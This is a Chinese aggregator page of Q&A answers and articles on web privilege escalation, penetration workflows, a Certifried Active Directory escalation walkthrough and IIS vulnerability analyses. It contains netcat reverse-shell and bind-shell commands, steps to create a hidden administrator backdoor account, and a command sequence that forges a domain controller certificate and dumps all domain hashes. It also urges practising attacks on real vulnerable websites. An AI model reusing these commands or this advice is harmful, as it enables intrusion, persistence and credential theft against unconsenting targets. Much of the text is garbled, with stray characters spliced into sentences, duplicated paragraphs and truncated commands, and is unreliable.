当前位置:首页 » 网页前端 » web提权漏洞
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

web提权漏洞

发布时间: 2023-05-12 16:51:07

Ⅰ 网站拿下后台之后怎么提权WEBSHELL 怎么在后台修改他的网页

后台不能修改网页,只能上传图片或修改文章,但不要随便修改别人的网页。后台提权拿webshell的方法有很多,简单点的就是上传抓包、数据库备份等手判。再败薯码看察哪有没有ewebeditor漏洞

Ⅱ web服务器被攻击,从哪些日志,或者现象可以看出来

如果服务器(网站)被入侵了,一般都是服务器或者网站存在漏洞,被黑客利用并提权入侵的,导致服务器中木马,网站被挂黑链,被篡改,被挂马。解决办法:如果程序不是很大,可以自己比对以前程序的备份文件,然后就是修复,或者换个服务器,最好是独立服务器。也可以通过安全公司来解决,国内也就Sinesafe和绿盟等安全公司 比较专业.

Ⅲ Web渗透技术及实战案例解析的内容简介

本书从Web渗透的专业角度,结合网络安全中的实际案例,图文并茂地再现Web渗透的精彩过程。本书共分7章,由浅入深地介绍和分析了目前网络流行的Web渗透攻击方法和手段,并结合作者多年的网络安全实践经验给出了相对应的安全防范措施,对一些经典案例还给出了经验总结和技巧,通过阅读本书可以快速掌握目前Web渗透的主流技术。本书最大的特色就是实用和实战性强,思维灵活。内容主要包括Web渗透必备技术、Google黑客技术、文件上传渗透技术、sql注入、高级渗透技术、0day攻击和Windows提权与安全防范等。
前言
经过近一年时间的艰辛苦战,终于将本书完成。本书是我写的第三本书,主要从Web渗透的专业角度来讨论网络安全的攻防技术,尽可能地再现Web渗透场景,每一个小节都代表某一个场景,此书是我工作数年的总结,最后终于不辱使命将所有成果放在本书中与大家分享。
本书是在我上一本书《黑客攻防及实战案例解析》基础上的又一本安全类书籍,主要讨论Web渗透攻防技术。攻击与防护是辩证统一的关系,掌握了攻击技术,也就掌握了防护技术。Web渗透是网络安全攻防的最热门技术,通过渗透Web服务器,利用已有信息,逐渐深入公司或者大型网络,最终完成渗透目标。
最近二年来网络安全特别火爆,可以说从事网络安全还是蛮有前途的职业之一。目前网络安全界非常缺人,特别是在2011年CSDN、天涯等大型网站用户数据库泄露后,各大公司对安全人士求贤若渴,掌握网络安全攻防技术,拥有丰富经验的从业人员,年薪一般在10万以上,能够独立挖掘漏洞的从业人员年薪一般在20万以上。其实Web安全渗透技术也不是那么高不可攀,只要自己锁定这个方向,持之以恒,不断地进行试验和研究,终将成为一名高手,而且安全攻防技术还跟学历无关,很多技术高手都没有上过大学。
Web渗透攻防技术可以通过以下方法来自学,一是通过安全站点漏洞更新通告、安全文章,了解漏洞的形成原理和利用过程,掌握漏洞的核心原理;二是在本地搭建试验环境进行实际测试,掌握漏洞利用方法;三是在互联网上对存在漏洞的站点进行实际操作,在真实环境下进行验证,提出修补漏洞的方法。在技术研究的同时还要做好记录,总结失败和成功的方法,积累技巧和经验,我曾经看过一位牛人,Web漏洞收集超过10GB数据!
本书以Web渗透攻击与防御为主线,主要通过典型的渗透实际案例来介绍Web渗透和防御技术,在每一个小节中除了技术原理外,还对这些技术进行总结和提炼,掌握和理解这些技术后,读者在遇到类似的渗透场景时可以自己去进行渗透。本书采用最为通俗易懂的图文解说,按照书中的步骤即可还原当时的攻防情景。通过阅读本书,初学者可以很快掌握Web攻防的流程、最新的一些技术和方法,有经验的读者可以在技术上更上一层楼,使攻防技术从理论和实践中更加系统化,同时可以使用本书中介绍的一些防御方法来加固服务器系统。
本书共分为7章,由浅入深,依照Web攻防的一些技术特点安排内容,每一小节都是一个具体Web攻防技术的典型应用,同时结合案例给予讲解,并给出一些经典的总结。本书主要内容安排如下。
第1章 Web渗透必备技术
介绍Web渗透的一些必备的基本知识,创建和使用VPN隐藏自己,获取操作系统密码、破解MD5密码、破解MySQL密码、数据库还原等,这些技术可以在Web渗透中使用,也可以在网络管理中使用。
第2章 Google——我爱你又恨你
利用Google等搜索引擎技术来获取信息,辅助Web渗透,在某些场景中往往会起到意想不到的效果,也被称为Nday攻击(0day后的数天持续攻击)。在进行Web攻防技术研究的同时,可以通过Google来进行实际演练,最好的效果就是网上爆出漏洞后利用Goolge技术来抓肉鸡。
第3章 都是上传惹的祸
上传是Web渗透中最容易获得WebShell的捷径之一,在本章中介绍了如何利用WebEditor、FCKeditor、CuteEditor等典型编辑器漏洞来获取WebShell的方法,同时还对登录绕过后通过Flash上传、文件上传等方法来获取WebShell进行探讨。
第4章 SQL注入——渗透主乐章
SQL注入是Web渗透的核心技术,本章主要介绍使用SQL注入方法获取WebShell,穿插介绍使用多种扫描软件、攻击工具来渗透Web服务器并提权。
第5章 高级渗透技术
本章介绍如何充分利用多种技术组合,结合巧妙的思路,最终成功渗透一些高难度的Web服务器。
第6章 0day攻击
0day是Web渗透中的“神器”,几乎是无往不胜,所向披靡,本章介绍利用Discuz!6.0、Discuz!7.2、Discuz!NT、PHP168、WordPress、Citrix、Art2008cms、Phpcms2008sp4等0day渗透Web服务器的一些方法。
第7章 Windows提权与安全防范
获取WebShell后,获得服务器权限一直是Web渗透的终极目标,本章对主流的一些提权方法进行介绍,掌握这些方法和原理后,可以举一反三,触类旁通。最后还对如何设置一个安全“变态”的Web服务器进行介绍。
虽然本书内容已经很丰富与完整,但仍然无法涵盖所有的Web渗透的技术,但通过本书的学习,可以快速了解和掌握Web渗透技术,加固自己的服务器。本书的目的是通过Web渗透技术并结合一些案例来探讨网络安全,更好地加固Web服务器、远离黑客的威胁。

Ⅳ 黑客专业名词“提权”,“WEBSHELL”“肉鸡”“暴库”“挂马”这几个词语是什么意思啊

网络提供
提高自己在服务器中的权限,主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升WEBSHELL权限以夺得该服务器权限。
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
肉鸡也称傀儡机,是指可以被黑客远程控制的机器。比如用"灰鸽子"等诱导客户点击或者电脑被黑客攻破或用户电脑有漏洞被种植了木马,黑客可以随意操纵它并利用它做任何事情。肉鸡通常被用作DDOS攻击。可以是各种系统,如windows、斗敬袭linux、unix等,更可以是一家公司、企业、学校甚至是政府军队的服务器。
暴库,就是通过一些技术手段或者程序漏洞得到数据库的地址,并将数据非法下载到本地。稿高黑客非常乐意于这种工作,为什么呢?因为黑客在得到网站数据库后,就能得到网站管理账号,对网站进行破坏与管理,黑客也能通过数据库得到网站用户的隐私信息,甚至得到服务器的最高权限。
所谓的挂马,就是黑客通过各种手段,包括SQL注入,网站敏感文件扫描,空兄服务器漏洞,网站程序0day, 等各种方法获得网站管理员账号,然后登陆网站后台,通过数据库“备份/恢复”或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容,向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP,然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时,你就会自动的访问被转向的地址或者下载木马病毒。

Ⅳ web渗透是什么

Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。

信息收集

信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。

DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)

整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;

网站常见搭配为:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目录信息(御剑,dirbust)

开放端口信息(nmp)

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。

常见漏洞:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

后台密码爆破(burp)

端口爆破(hydra)

提权

获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法:

反向连接

在公网主机上进行监听:

nc-lvp 4444

在内网主机上执行:

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行:

nc-l -p 4444 -t -e cmd.exe

本地主机上执行:

nc-vv 远程主机ip4444

成功后,本地主机即可远程主机的一个shell

然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马,留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。

Ⅵ 为什么现在web渗透,都用的是php写的源码

第一PHP语言本身漏洞相当多,尤其是很多人不喜欢用最新版本,现在PHP8都发布了,现在竟然还有一大批人用PHP5.2,越早的版本漏洞越多。漏洞多自然就好做渗透。

第二PHPweb框架漏洞也非常多。国内最常用的PHP框架thinkphp经常爆出各种严重漏洞,比如5.x的远程可执行命令漏洞,导致大量使用此框架的网站中招。这个漏洞利用之容易,做个程序可以随便感染一大批网站。有的人利用这个漏洞拿到的肉鸡多到自己都数不过来。

反观Javaweb,大多数人都会用sprint全家桶。而SpringMVC和Springsecurity提供的安全认证,起安全性都是非常强的。

虽然Spring也出一些漏洞,但是我印象中还没有出过非常容易利用,非常简单就能拿到最高权限的傻瓜式漏洞。

第三网上劣质php源码最多。很多人是根本不具备独立编程能力的,这些所谓的“程序员”最喜欢干的事是去网上下载各种免费源码,然后改吧改吧就算自己做了网站了。

这种免费源码,以PHP居多。什么的dedeCMS,什么xxshop,xxmall,微盟,这里垃圾PHP源码简直是千疮百孔,漏洞百出。可以说是黑客们的最爱。用这类垃圾源码最的网站,随便一个中学生捣鼓捣鼓就能入侵,简直和裸奔没啥区别。

同时,会用这些垃圾代码做网站的程序员,一般水平都不会太高,按理说连编程入门都算不上。这些所谓程序自然根本无法做到防止黑客入侵。

第四很多人安全意识太差。不管你用什么语言做网站,大多都要在网站程序外在跑一个Nginx,apache,或者IIS。即使使用Java,Nginx做反向代理+静态处理,后面再加tomcat的构架也很多。

凡是,很多人要么是技术不到位,要么是偷懒,不去自己编译tomcat或者apache,而是用网上现成的的一键安装包或者傻瓜安装程序。这些程序可能会默认安装PHP支持。

也就是说,一些安全意识不强或者水平比较差的铅手程序员编写的javaweb很有可能也会支持PHP。

很多人在入侵提权的时候,不管你是什么网站,都会先试一下PHP能不能执行,入侵几率比较高。

关于最后一个问题,如果你找到了Javaweb的漏洞,可以上传文件了,下一步槐仔嫌要做的就是提权。这个时候你直接上传Java源代码是没有用的。php是动态执行的,源码可以直接被戚神执行,而Java则需要编译。

拿到上传权限后想提权,就必须先弄清楚对方服务器的jre版本,然后再本地用相应的版本编译后,再把jar包传上去,才能够执行。

这里还有一个不同,一般php提权,只需要拿到网站根目录的上传权限即可。但是Javaweb很有可能网站的根目录,和存放可执行jar包的目录不是一个目录,想要执行Java代码,你就必须想法拿到jar包所在目录的上传权限(同时也要拿到网站根目录权限),这是一个难点。

Ⅶ Windows域提权漏洞分析与复现

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。这一漏洞最早由安全研究员Oliver Lyak发现并公开分析过程和POC,微软在2022年5月的安全更新中对其进行了修补。

影响范围较广,包括Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,详细版本号可以参考微软官方的公告(参考链接)。

操作系统:

Win10、Win Server 2016、Kali-linux-2022.1。

分析工具:

ADExplorer、Certipy、bloodyAD、impacket、PKINITtools。

关于这个漏洞的分析和复现文章网上已经很多了,但是笔者在分析和复现这个漏洞时遇到的一些“坑”大多并未提及。所以,今天主要分享遇到的问题和解决方法。

首先设置Win Server 2016的IP地址为固定IP,然后设置其DNS服务器地址。测试时域控服务器的计算机名为dc,IP为192.168.220.160,网关为192.168.220.1

接下来是安装域控环境。在Win Server 2016安装域控环境比较简单,安装时,使用超级管理员Administrator登录,然后在服务管理茄稿猛器的仪表盘界面选择添加角色和功能,在弹出的向导中按照默认选项,直接“下一步”即可,注意在服务器角色界面中勾选“Active Directory域服务”即可,如下图所示:

域服务安装完成后,选择“将此服务器提升为域控制器”,如下图所示:

然后选择“添加新林”指定根域名,笔敬衡者测试时设置的是:fenghuotai.local,如下图所示:

其他的选项按照默认设置就可以了,另外,安装过程中会自动安装DNS服务器,安装成功后需要重启计算机。

最后是安装域证书服务。还是在服务管理器的仪表盘界面选择添加角色和功能,在弹出的向导中按照默认选项,直接“下一步”即可,注意在服务器角色界面中勾选“Active Directory证书服务”即可,如下图所示:

然后在选择角色服务的步骤中,需要颤桥额外再选择“证书颁发机构Web注册”,如下图所示:

域证书服务安装成功后,需要再配置域证书服务,如下图所示:

在配置域证书服务中,需要选择“证书颁发机构”和“证书颁发机构Web注册”,如下图所示:

最后再选择“企业证书”(如果不是域成员,无法选择该选项,但默认账号Administrator可以),如下图所示:

其他选项按照默认设置即可。

域控服务和域证书服务安装成功后,在服务管理器的仪表盘的工具菜单中选择“Active Directory管理中心”,然后在Users分组下新建一个用户账号,输入密码和选择“密码永不过期”,模拟加入域环境的普通用户账号。分析时使用的普通用户账号是testcve,如下图所示:

域普通用户账号建立好后,再选择另外一台计算机,测试时使用的是64位的 Win10系统,计算机名为testmachine,加入刚建立的域fenghuotai.local,然后使用刚建立的域普通用户账号testcve登录(加入域的方法请自行搜索,此步骤无特殊设置)。到此,测试环境就搭建好了。

以域普通用户账号testcve登录Win10计算机后,使用ADExplorer工具分析该提权漏洞产生的原因。

ADExplorer工具需要先登录,分析时使用普通域用户账号testcve登录fenghuotai.local域,如下图所示:

登录成功后,展开左边的树形控件“DC=fenghuotai,DC=local”,然后再展开“CN=Computers”和“CN=Users”,可以分别看到刚才新加入域的名为CN=TESTMACHINE的win10计算机机器账号和普通域用户账号CN=testcve,这两个账号均包含了很多属性值,如下图所示:

每个属性的具体含义可以参考微软官方的帮助文档,此次分析只关注该漏洞相关的属性。默认情况下,域用户账号可以申请User证书,域计算机机器账号可以申请Machine证书,两个证书都允许客户端身份验证。

展开Computers分组,选中刚才加入域的计算机CN=TESTMACHINE,其中一项属性dNSHostName的内容为testmachine.fenghuotai.local,testmachine就是新加入域的Win10计算机的计算机名,这个属性是向域证书服务申请机器账号证书时用于标识指定计算机机器账号的,也就是说dNSHostName的内容和机器证书是绑定的,不同机器账号的dNSHostName内容,就会得到不同的证书。另外属性sAMAccountName的内容为TESTMACHINE$,这个属性作为计算机机器账号名,如下图所示:

那么可以将dNSHostName的内容改为域控服务器的内容吗?如果可以的话,岂不是就伪造成域控服务器的机器账号了吗?尝试将其内容改为dc.fenghuotai.local,却会得到一个错误,更改失败,如下图所示:

为什么会出现这个错误?因为dNSHostName属性和另外一个servicePrincipalName属性是相关联的,更改dNSHostName属性后,域控服务器将自动更新servicePrincipalName属性的值。这样就导致和原域控服务器机器账号的servicePrincipalName属性冲突了。TESTMACHINE$机器账号属性servicePrincipalName中的内容,如下图所示:

但是如果删除了其servicePrincipalName属性中的两项内容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName属性的内容为dc.fenghuotai.local,不会导致冲突,更改将会成功。

属性servicePrincipalName中删除了两项后的内容,如下图所示:

但是如果删除了其servicePrincipalName属性中的两项内容RestrictedKrbHost/testmachine.fenghuotai.local和HOST/testmachine.fenghuotai.local,更改dNSHostName属性的内容为dc.fenghuotai.local,不会导致冲突,更改将会成功。

属性servicePrincipalName中删除了两项后的内容,如下图所示:

dNSHostName属性的内容成功更改为域控服务器的内容dc.fenghuotai.local,如下图所示:

到此,普通机器账号TESTMACHINE ,然后从Active Directory证书服务中申请到域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。

根据该漏洞的分析结果,想要成功利用该漏洞,需要满足如下几个条件:

1、域控服务器系统版本

Win8.1、Win10、Win11、Win Server 2012 R2、Win Server 2016、Win Server 2019、Win Server 2022等版本,详细版本号可以参考微软官方的公告(参考链接)。

2、域内普通用户账号权限

需要获取域内至少一个普通用户账号权限,并且需要该账户对dNSHostName等属性具有相应的权限。默认情况,普通用户账号具有该权限。

3、企业证书服务

域内部署有企业证书服务,并允许被控制的计算机账户申请计算机身份验证证书。

环境搭建过程不再赘述,参照分析过程即可,攻击机选择Kali-linux-2022.1,需要安装额外的工具Certipy、bloodyAD、impacket、PKINITtools

首先需要获取域控服务器,域证书服务器的一些基本信息。在受控的主机上执行powershell命令Get-ChildItem Cert:LocalMachineRoot,得到域证书服务器地址fenghuotai-DC-CA,域控服务器地址fenghuotai.local,域控计算机名为dc,如下图所示:

设置攻击机的DNS服务器地址为域控DNS服务器地址,或者在本地hosts文件中设置域控和与证书服务器域名的ip,不然会导致无法解析域名等错误。设置kali的hosts文件内容,如下图所示:

复现环境准备好后,先使用掌握的域内普通用户账号申请证书,并验证登录,测试复现环境是否异常。申请证书命令certipy req 'fenghuotai.local/testcve:[email protected]' -ca fenghuotai-DC-CA -template User

可能会遇到NETBIOS超时现象,重新执行一次申请证书命令即可。

申请用户账号证书成功后,执行命令certipy auth -pfx testcve.pfx验证该证书,获取其NT hash,如下图所示:

成功获取到了NT hash,说明测试环境没问题。如果遇到错误(特别是还原域控虚拟机后),说明域控有些服务没正确启动。需要重启域控服务器,待仪表板上的服务项启动后,或者手动启动后,再重启Kerberos Key Distribution Center(kdc)服务。不知道实战中是否会遇到该错误,如果遇到了,后面的利用就无法进行了。

使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p Ƈqaz3edc.' --host 192.168.220.160 addComputer pwnmachine 'CVEPassword1234 ',新建一台名为pwnmachine,密码为CVEPassword1234 的机器账号,如下图所示:

然后使用命令python bloodyAD.py -d fenghuotai.local -u testcve -p Ƈqaz3edc.' --host 192.168.220.160 setAttribute 'CN=pwnmachine,CN=Computers,DC=fenghuotai,DC=local' dNSHostName '["dc.fenghuotai.local"]',设置其dNSHostName 属性为域控服务器属性,如下图所示:

设置成功后使用命令certipy req 'fenghuotai.local/pwnmachine 的证书,其实申请到的是域控dc$的证书,如下图所示:

获取到域控的机器账号证书后,使用命令certipy auth -pfx ./dc.pfx -dc-ip 192.168.220.160进行登录验证,获取其NT hash,如下图所示:

然后使用impacket工具examples目录下的 secretsmp.py 脚本,命令为python3 secretsmp.py 'fenghuotai.local/[email protected]' -hashes :,获取域内所有账号hash,如下图所示:

当然,还可以使用PKINITtools工具,获取域控最高权限shell。

Ⅷ Web渗透是怎么弄的

1.渗透目标
渗透网站(这里指定为www.xxx.com)
切记,在渗透之前要签订协议。
2.信息收集
建议手动检查和扫描器选择同时进行。
2.1 网站常规检测(手动)
1:浏览www.xxx.com
1. 初步确定网站的类型:例如银行,医院,政府等。
2. 查看网站功能模,比如是否有论坛,邮箱等。
3. 重点记录网站所有的输入点(与数据库交互的页面),比如用户登录,用户注册,留言板等。4. 重点查看网站是否用到了一些通用的模板,比如论坛选择了动网(dvbss),就有可能存在动网的漏洞;邮箱有可能选择通用的邮箱系统,也有漏洞。
2: 分析网站的url1. 利用搜索引擎,搜索网站的url,快速找到网站的动态页面。
2. 对网站的域名进行反查,查看IP,确定服务器上的域名数,如果主页面url检测没有漏洞,可以对其他的域名进行检测。
3:审查代码
重点对输入代码(比如表单)进行分析,看如何来提交输入,客户端做了哪些输入的限制方法。
1. 隐藏表单字段 hidden
2. Username,Password等
4:控件分析
Active x 通常都是用c/c++编写
在页面上(通常是首页)的源码中搜索
1. 需要ComRaider+OD 对dll文件进行反编译,看是否有漏洞。
2. 改变程序执行的路径,破坏Active X 实施的输入确认,看web的回应。
5:对常规的输入进行手动注入测试,测试是否有sql注入和跨站漏洞,试用常规的用户名和密码登录。
6:查看web服务器的版本,确定搜索是否有低版本服务器组件和框架的漏洞,比如通用的Java框架Struct2的漏洞。
2.2 工具选择和使用
1:web应用程序漏洞扫描工具
Appscan: (版本7.8)
扫描漏洞比较全,中文,漏洞利用率高,检测速度慢,需要大量内存,重点推荐。
AWVS:
英文,漏洞库完善,检测速度慢。
JSky
中文,检测速度快,但深度一般。
Nessus
英文,检测速度较快,漏洞也比较完善,免费,可及时更新,B/S界面。
2:端口扫描
Nmap
流光
3: 口令破解工具
溯雪
4:sql 注入工具
Asp+SqlServe, ACCESS:啊D注入工具
Php+MySQL : php+mysql注入工具(暗组的hacker栏中)
Jsp+ORACAL: CnsaferSI
支持以上数据库 Pangolin
5: http代理请求
Paros
6:木马
灰鸽子
7:提权木马
一句话木马大马(具体所用的木马参考文档和工具包(绿盟,暗组))
5: 工具推荐使用方案
Appscan扫描出的重大漏洞,进行手工检测(注意看漏洞是如何发现的,修改漏洞的代码,对渗透帮助很大)。
sql注入漏洞
可以选用根据网站类型选择sql注入工具
如果是post请求类型的url,选择使用paros代理后,修改http请求包,进行注入。
WebDEV漏洞
可以启用发送请求(比如DELETE对方网页)
跨站漏洞
直接将appscan的代码输入测试,成功后,可以尝试跨其他脚本(比如
遍历漏洞:
网页的目录,下载网站配置文件信息,和源文件进行反编译
反编译:
Class 可以选用java 反编译工具
Dll (asp.net) 选用Reflector
3.分析并渗透
---------------------
作者:centos2015
来源:CSDN
原文:https://blog.csdn.net/zonghua521/article/details/78272634
版权声明:本文为博主原创文章,转载请附上博文链接!

Ⅸ iis曾经出现过的漏洞不包括哪些

不包括反序列化漏洞。
Internet Information Services(IIS,以前称为 Internet Information Server)互联网信息服务是 Microsoft 公司提供的可扩展 Web 服务器,支持 HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP 和 NNTP 等。起初用于 Windows NT 系列,随后内置在 Windows 2000、Windows XP Professional、Windows Server 2003 和后续版本一起发行。IIS 目前只适用于 Windows 系统,不适用于其他操作系统。

根据 Netcraft 在 2018 年 9 月的最新全球 Web 服务器报告显示,Microsoft IIS 依旧以 9.57% 的比例占据全球第三大最繁忙服务器,落后于 Apache 34.07%和 Nginx 25.45%。目前流行的 Windows 版本都默认安装 IIS 服务 , 但同时 IIS 的安全性一直被业内诟病,一旦 IIS 出现高危漏洞,将会出现范围广、影响深的特点。

目前 IIS 一共发行 12 个版本,从 IIS 1.0 版本至 IIS 10.0 版本,IIS 1.0-4.0 已经基本退出市场,IIS 5.0-10.0 是 Web 市场主要使用的网站服务器。随着 Windows 版本发布和不断更新,IIS 自身的安全性也有了较大的提升。在 2005-2018 年期间,IIS 漏洞呈现逐年减少的趋势,同时也说明了 IIS 漏洞 POC 公布越来越少、漏洞挖掘的难度也在提升。

从上述 IIS 漏洞统计表格可以看出,IIS 7.5、IIS 8.5 和 IIS 10.0 是目前全球使用最多的三款 IIS 版本,分别对应受影响漏洞 12 个、4 个和 2 个,呈现受影响漏洞数量递减的趋势。同时,在历年的 IIS 版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5 和 IIS 7.0 受影响的漏洞数居前四位。

二、IIS 漏洞分析

千里目实验室针对 IIS 近十几年(2005 年以后)的 35 个漏洞进行和整理和分析,IIS 漏洞主要分布在缓冲区溢出、认证绕过、DOS 拒绝服务、代码执行和信息泄露,其中以 MS15-034 远程代码执行漏洞最为严重。

由上表可以看到,IIS 历年漏洞主要以远程漏洞为主,占漏洞总数 85.71%,本地漏洞有 5 个,占漏洞总数 14.29%。其中 5 个本地漏洞分别是: ( MS12-073 ) Microsoft IIS 密码信息泄露漏洞 CVE-2012-2531、 Microsoft IIS 源代码泄露漏洞 CVE-2005-2678、 ( MS17-016 ) Microsoft Internet 信息服务器跨站脚本漏洞 CVE-2017-0055、 ( MS16-016 ) IIS WEBDAV 特权提升漏洞 CVE-2016-0051、 ( MS08-005 ) Microsoft IIS 文件更改通知本地权限提升漏洞 CVE-2008-0074。

以下主要针对 IIS 漏洞中可以远程利用的重点漏洞做分析和复现:

1. 缓冲区溢出漏洞

1.1 ( MS09-053 ) Microsoft IIS FTPd 服务 NLST 命令栈缓冲区 CVE-2009-3023

1.1.1 漏洞描述

Microsoft IIS 内嵌的 FTP 服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的 FTP NLST ( NAME LIST ) 命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。

1.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0

· 漏洞分析:

IIS 包括用于通过 TCP 计算机网络交换和操作文件的 FTP 服务器服务。它默认侦听端口 21 以获取来自 FTP 客户端的传入连接。IIS 支持的 FTP 命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:

NLST

此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在 pathname 为 NULL 时,使用当前目录。NLST 命令可以使用诸如“ * ”之类的通配符来引用多个路径。

Microsoft Internet 信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理 NLST FTP 命令时边界检查不足造成的。当 FTP 用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到 0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于 0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。

远程身份验证的攻击者可以通过连接到易受攻击的 IIS FTP 服务器并向目标服务器发送恶意 NLST 命令来利用此漏洞。成功利用将导致使用 System 权限执行代码。如果代码执行攻击不成功,可能会导致受影响的 FTP 会话异常终止。

注意:为了成功利用此漏洞,NLST 命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着 MKD 命令的使用。

· 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行

· 漏洞复现:

复现环境:Win XP SP3 x64 专业版,默认 IIS 5.1

1. 搭建好 IIS FTP 靶机环境,测试 anonymous 默认匿名用户可用,且可创建和读写目录;

2. 测试正常 MKD 创建和 NLST 正常长度的目录的功能是否正常:

以上 somefolder 为 FTP 服务器上正常长度文件夹,NLST 命令执行成功并返回结果提示 226。

3. 测试创建和 NLST 异常目录长度,服务器返回 150,打开数据连接,成功执行命令。

· 漏洞缓解:

1. 此漏洞仅在 IIS 5.x 和 6.0 版本存在,升级 IIS 版本或者更新 MS09-053 补丁即可规避此漏洞;

2. 此漏洞成功利用的条件主要包括:IIS 启用 FTP 服务且存在 FTP 默认站点、攻击者登陆 FTP 的账户有创建和读写文件夹的权限。

2.DOS 拒绝服务漏洞

2.1 ( MS07-041 ) Microsoft IIS 5.1 远程缓冲区溢出漏洞 CVE-2005-4360

2.1.1 漏洞描述

Microsoft IIS 处理某些畸形的 HTTP 请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用 WEB 浏览器之类的工具发送特制的匿名 HTTP 请求导致 IIS 服务进程 inetinfo.exe 崩溃。仅在文件夹的 " 执行权限 " 设置为 " 脚本和可执行程序 " 时才会出现这个漏洞。有漏洞的虚拟文件夹包括 "/_vti_bin" 等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。

2.1.2 漏洞分析和复现

· 漏洞影响版本:IIS 5.1

IIS 包括一个能够提供静态和动态内容的 Web 服务器组件。IIS 的 Web 组件提供 Web 应用程序功能。通过 Web 应用程序,服务器可以在后端执行脚本,并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源,例如 Perl 脚本、Active Server Pages(ASP)或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。

Microsoft Internet Information Services 产品的 HTTP 服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下,当多次请求动态链接的库资源时,受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的 URL 请求,因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求 URL 必须包含来自以下字符的有限集合中的字符(注意,不可见字符需要使用以下字符范围的 URL 编码形式):

%3f



字符 %01 – %1f 的范围

请求还必须包含波形符“ ~ ”字符,后面跟一个十进制数字。

· 漏洞类型:可远程利用,可触发 DOS 攻击

